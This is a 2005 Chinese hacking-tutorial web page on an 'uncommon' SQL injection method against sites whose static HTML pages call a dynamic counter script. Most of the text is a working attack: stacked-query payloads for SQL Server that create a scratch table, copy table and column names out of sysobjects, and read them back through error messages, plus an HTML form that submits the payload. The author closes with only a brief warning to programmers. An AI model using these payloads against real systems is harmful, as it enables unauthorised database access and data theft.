VB 源码VC 源码ASP源码JSP源码PHP源码CGI源码FLASH源码素材模板C 源程序常用软件文档中心其他程序

黑客技术

木马病毒
黑客技术
系统安全
防火墙
安全防范
网络安全

本类阅读TOP10

·五种windows密码设置及破解
·穿过局域网的我的手 内网远程控制全攻略
·黑客技术:SQL入侵教程
·win2000密码破解不完全指南
·大话网络之经典入侵技术
·Windows黑客编程基础
·如何绕过防火墙提升权限
·隐藏进程的简单办法
·硬盘还原卡的破解
·一次艰难而真实的入侵

精品推荐
SQL注入不常见的方法

作者:佚名 来源:月光软件站 加入时间:2005-3-1 月光软件站

大家在是否碰到过这样的站点:

全站文章系统采用FSO静态生成的HTML文件来显示。

这样做的好处一来可以减轻服务器负担,提高访问速度。

二来也阻止了SQL注入式的攻击。。

我来说说他们的文章系统原理:

全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。

攻击方法:

查看源文件/看里面是否有通过JS来调用的页面。

如调用<script language="javascript" src="count.asp?id=1552"></script>来更新文章的浏览次数。

我们就可以这样来试一下可否注入:

http://服务器域名/count.asp?id=1552'

看一下是否出错。如出错说明有注入漏洞。

然后正常攻击。

在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)

post.htm内容:主要是方便输入。

<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>

对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER

对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--

然后插入一条记录:id=1552;insert into aaa values('test');--

再之后枚举出他的数据表名:

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

这是将第一个表名更新到aaa的字段处。

id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

将 varchar 值 'vote' 转换为数据类型为 int 的列时发生语法错误。

/search.asp,行21

其中vote就是表名:

也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype='u' and status>0)的值更新到那个表的一条记录中去。通过网页显示。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--

然后id=1552 and exists(select * from aaa where aaa>5)


读出第二个表,^^^^^^一个个的读出,直到没有为止。

读字段是这样:

id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--

然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--

然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

……类推

明白了吗?不明白之处到论坛提出吧。。希望通过此文能给朋友们提供一种思路。也给网站程序员一个警示


相关文章
  • 如何在SQL注入时保护数据库
  • MySQL注入中导出字段内容研究—注入导出WebShell
  • phpMyAdmin远程PHP代码注入漏洞
  • SQL注入天书 - ASP注入漏洞全接触
  • 相关软件




    月光软件程序下载编程文档电脑教程网站设计网址导航网络文学游戏天地幽默笑话生活休闲写作范文安妮宝贝
    电脑技术编程开发网络专区谈天说地情感世界游戏元素分类游戏热门游戏体育运动手机专区业余爱好影视沙龙
    音乐天地数码广场教育园地科学大观古今纵横谈股论金人文艺术医学保健动漫图酷二手专区地方风情各行各业

    月光软件站·版权所有